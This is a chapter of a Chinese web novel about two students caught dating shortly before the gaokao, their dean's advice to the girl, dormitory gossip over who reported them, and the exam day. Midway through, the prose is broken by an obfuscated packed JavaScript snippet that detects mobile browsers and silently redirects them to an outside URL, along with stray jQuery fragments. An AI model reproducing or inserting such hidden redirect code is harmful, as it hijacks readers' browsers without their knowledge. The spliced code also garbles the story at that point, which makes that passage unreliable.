崇德对早恋的态度一向是打击,严厉打击,她们主任胡有华本人更是耳提面命每位班主任要杜绝一切有可能诱发早恋的行径,比如排座位不允许男女同桌,而且要尽量把某些个活跃的男生排的离乖巧文静的女生远一点,坚决不搞什么帮带行为。
但千防万防,青春期的感情热烈澎湃,总是有防不住的时候,而且现在高考当前,他严肃处理吧,怕影响学生心态,睁一只眼闭一只眼又起不到威慑其他人的作用。
所以将两个小孩叫来办公室谈话时,他内心也很仿徨忧愁。
“说说吧,离高考都不到两个月了,还谈恋爱,怎么想的?”他喝了一口茶,清了清嗓子,刻意露出几分威严问道。
女生面色沉静,闭口不言。
男生目光环视了一圈,最终落在他的茶杯上:“胡大...老师,你这泡得什么茶?西洋参?金银花,这俩能放一起喝吗?”
“!”胡有华嘴角抽了抽,这个林敬驰他有耳闻,也是年级里有名的活跃份子了,平时有他出现准没好事,换做平时,胡有华可能拎着他耳朵就把人骂出去了,但现在,要心平气和。
胡有华又喝了一口水:“严肃一点,不要嘻嘻哈哈嬉皮笑脸!否则我把你家长喊过来!”
林敬驰立马收起吊儿郎当,摆正态度。
胡有华继续说:“我也不管你们现在什么情况,总之,马上高考了,你们都把心给我收起来放学习上,有什么事等考完再说,这段时间我也会多去你们班巡查,给我保持距离,特别是林敬驰你,一旦你有什么越界行为,或者是给其他同学造成不好的影响了,我立马让你回家去,听到没?”
“听到了。”
“那你先回去吧,记住用心学习,不要想乱七八糟的。”他再次叮嘱。
林敬驰前脚要走,看了一眼站在原地的程菡,又停下:“胡老师,她也可以走了吧。”
“你走你的。”
“可是——”
程菡看出来胡有华有话单独和自己说,递给他一个没事的眼神。
林敬驰带上门出去。
_
“菡菡,没事吧,胡主任没为难你吧?听林敬驰说他把你单独留下谈话了。”晚上,回到寝室,室友徐乐薇关心问道。
程菡摇摇头:“没事,就是提醒几句。”
“那就好,”徐乐薇舒了口气,“胡主任那么凶,我还担心你被他训哭。”
梁芮芝:“你以为程菡是你啊,被训几句就哭,你见她哭过吗?”
听她这么说,徐乐薇歪了歪脑袋思考起来,片刻后,看向程菡的目光里露出惊讶,“好像真的没有哎,菡菡,我们同床共枕这么久,我好像真的没见你哭过。”
“可能泪腺不太发达吧。”
“这样吗,其实我也不爱哭,梁芮芝乱说,我被训几句也不会哭好吧。”
“昨天是谁熄灯了还呜呜呜的。”
“......我那是看小说,为男女主的遭遇和爱情感动落泪好吗?”
“不懂,反正就是哭了。”
“铁石心肠的女人!”徐乐薇哼了声,不去理她,继续问程菡,“所以你和林敬驰这事算是处理完了吧?”
“应该是。”
“我还担心胡主任会通知你们家长。”
“可能是看快高考了,不想影响我们心态吧。”
程菡想起下午在办公室,胡有华对自己语重心长说的那些话,其实不算训话,反而是几多心急,几多勉励的肺腑之言。
他说:程菡,我们每个人与生俱来拥有的物质和机会不同,比如老师自己,从小出生在绥江的一个小山村,就是云南那边,从小家庭条件很差,兄弟姐妹又多,我爸在我六岁那年因病去世了,我妈日子过不下去不得不改嫁。
她改嫁只带走了我最小的弟弟,其他几个兄弟姐妹留给我奶奶抚养,我奶奶实在养不活我们这么多人,只能把我小妹还有一个弟弟送给别人养,后来我奶奶年纪大了身体也不好,我得出去找活做,可我身材矮小样貌一般,别人说一看就不是干活利索的料,都不要我。
最后是一个粮油店的老板娘好心留下我,她当时有个和我差不多大的儿子在上学堂,店里不忙的时候他就让我陪他一块去,刮风下雨我帮他提书撑伞是一刻都不敢懈怠,也得亏有这个机会,让我发现自己虽然身材样貌差但脑筋还不错。
再后来高考恢复我就去参加了,第一年大家水平参差不齐,当时还是冬天,那个冷啊,冷我手都不顺溜了,第一次也没考上,但这次让我对高考有了个基本了解。
回来后四处借书借资料抄写,一边打工一边继续学习,当时我们那条街住了个老师,我还时常去麻烦他,他兴许是不想看见我的,后来在老板娘的教诲下,逢年过节我便提点东西去,其实不是什么贵重东西,只是一点我能负担得起的心意,但他对我和颜悦色了不少,第二次我就考上了。
当然,和你说这些不是想告诉你老师曾经的求学之路有多艰苦,你们今天也必须要吃苦,而是想说机会对于我们普通人来说是很珍贵的。
就像高考,对普通孩子来说就是前十几年人生中少数能由自己把握的重要机会,尤其是条件还略差于普通人的学生,更要牢牢把握全心对待。因为条件好的,即使他们高考失利,哪怕不参加高考,还有很多条路可以选择,但是我们,目前能看见的康庄大道只有这一条。
我们拥有的选择很少,走错一步付出的代价也大,所以在高考这个重要的人生路口,老师希望你慎重再慎重,情情爱爱这种事完全可以放到以后,耽误不了什么。
如果对方真的是个值得携手的人,是不会在你奔向更好的前程中消失的。
而且作为女孩子啊,自己的前途更重要,千万不要相信早点嫁个好男人这种鬼话,我爱人当年家里不让她读高中,要把她嫁给邻村一个大八岁的男人,告诉她嫁人之后日子就好过了,她哭闹不从最后拼死跑了出去,现在每每和我回忆起她都觉得庆幸。
老师知道你是个有志向有韧性的孩子,所以不要因小失大辜负前面走过的路啊。
“难为他肯放你们一马了,这个时候胡主任还算有点人情味。”徐乐薇不知道她在想什么,伸手在她面前晃晃,“不过他是怎么知道你们早恋的?他火眼金睛啊。”
程菡回过神:“应该是有人举报吧。”
“举报?!”徐乐薇听过举报作弊的,没听过举报早恋的,“谁啊?”
程菡摇摇头,表示自己也不知道。
早恋被举报的事算是被轻拿轻放揭了过去,但关于“是谁举报”这一话题却引发了不少猜测,而且议论越来越多没有停歇。
主要大家从小到大都讨厌打小报告那一套,原则上的事就算了,谈个恋爱这种事也举报,足以见得这人的阴暗。
徐乐薇一开始怀疑是余逸飞,但他上个学期转学去市里的一所高中了,他们班的人说他因为受之前被处分的影响,成绩一直退步,家里就托关系给他重新找了所学校,换个学习环境。
怀疑对象转移到戴玥。
她对林敬驰的心思但凡有点情商的都能看出来不是表面上的朋友关系那么简单,而且她这个学习突然转学过来的行为也挺引人深思的,她有动机,也具备举报的条件,所以一时间,她成了大多数人怀疑的对象。
而大家对打小报告的人,即使不唾弃,也会下意识地避而远之,戴玥起初还不在意,但时间稍微一久,众人的目光,以及她出现时周围骤降的气氛都很难让人置身事外。
精神攻击完全不亚于□□摧残,尤其是对一个习惯被大家羡慕自尊心强的女生来说。
她也因此来找过程菡,坦言说自己并没有举报他们,而且她也不屑于举报这种小人行径。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724456|163387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>程菡点头说知道,自己也从来没说是她举报的,说完转头继续听王秋云讲题了。
大概是她敷衍的态度惹怒了对方。
戴玥负气离去,请了一周的假。
这一周,林敬驰来找了自己,起初是和她聊快要高考了,考完之后再也不用躲着老师,暑假准备去哪玩之类的话,后来聊着聊着聊到了戴玥。
“她说不是她举报的我们,你相信吗?”他问这话时,眼神里有几分闪烁。
程菡笑了笑:“我相不相信对她不重要,你相信她就好了。”
“我不是这个意思,我是觉得以她的性格应该不会做这种事,而且胡大头也没说是有人举报才把我们叫去谈话的,可能是他自己看见了。”
“嗯,那就是胡主任自己看见了。”
“你为什么非要和我呛着来?”他忽然生气起来。
“?”程菡不明白,自己明明是顺着他的话说,而且也是好言好语的态度,再包容不过了。
“我没有,是你说胡主任自己看见的,我认同你的猜测而已,没有一丁点呛你的意思,至于其他人怀疑戴玥,那是他们的事,我左右不了别人的想法,难不成我还要调查这件事再开个发布会证明她的清白吗?”纵使她容忍度再高,他撒过来的糟糕情绪,程菡分毫不差地推回去。
林敬驰张了张嘴,无言以对。
他其实也不知道自己为什么会莫名奇妙地生气,是因为她太淡然了吗,明明是关乎他们俩的事,她听起来就像个外人,不露任何情绪地和他讨论着。
这段时间也是,她总和自己保持着距离,虽说胡有华现在是天天来他们班巡查,她有理由且必须远离他,但他总觉得她其实是打心底里自愿远离他的。
此时,林敬驰已经忘了自己是来帮戴玥说情的,满心满眼是自己被她忽视的怨气。
他想发泄点什么,想让她不要那么从容不迫。
下一秒,他的手被轻轻握住,她的手软软的,声音也软下来:“我们别吵架了,你也别生气了,先好好准备高考吧,好不好?”
“我没有生气。”怨气刚炸开,立马又被抚下去,他反握住她的手,生怕她一个不经意抽走,握得紧紧的,“我知道了,但你也别总躲着我。”
“我没有吧。”
“有,虽然胡主任经常来我们班转,你不好靠近我,但也不至于平时看都不看我,眉目传情他又管不着。”
“行,以后多和你眉目传情。”
_
六月,骄阳似火,高考进入了个位数的倒计时,窗外的蝉鸣都更响亮了,仿佛在奏响最后的战歌。
而程菡也收到了一封信,木心寄来的。
自从加上q.q好友后,两人不再通过书信联系,所以她挺意外收到这封信的,不过为了不引人注意,她没有在教室里拆开,而是晚上回到寝室后,借着熄灯后小台灯的光线,轻轻撕开了封口。
「大鹏一日同风起,扶摇直上九万里。
以笔为剑,尽展锋芒。
高考大捷,前程似锦。
——2012/05/21·木心」
三十六个字,这是木心给她的所有信中最简短的一封,也是包含最美好祝愿的一封,她没时间回信了,她想,她应该用一个更好的结果去回信。
程菡小心翼翼收起信封,进入梦乡。
六月七日,天空一碧如洗,蝉鸣声响彻天际。
程菡走进考场,她不会忘带准考证,不会走错考场。
她带着这十二年的风雨兼程,带着胡有华的那句“你是个有志向有韧性的孩子”,带着叶昕怡毫无保留的分享和王秋云这段时日以来的倾囊相授,带着木心的祝愿,带着她自己破釜沉舟的勇气,在答题卡上书写下自己的名字。
试卷翻动间,笔墨挥洒处,她为这段青春画下句号,开始抒写下一个崭新的明天。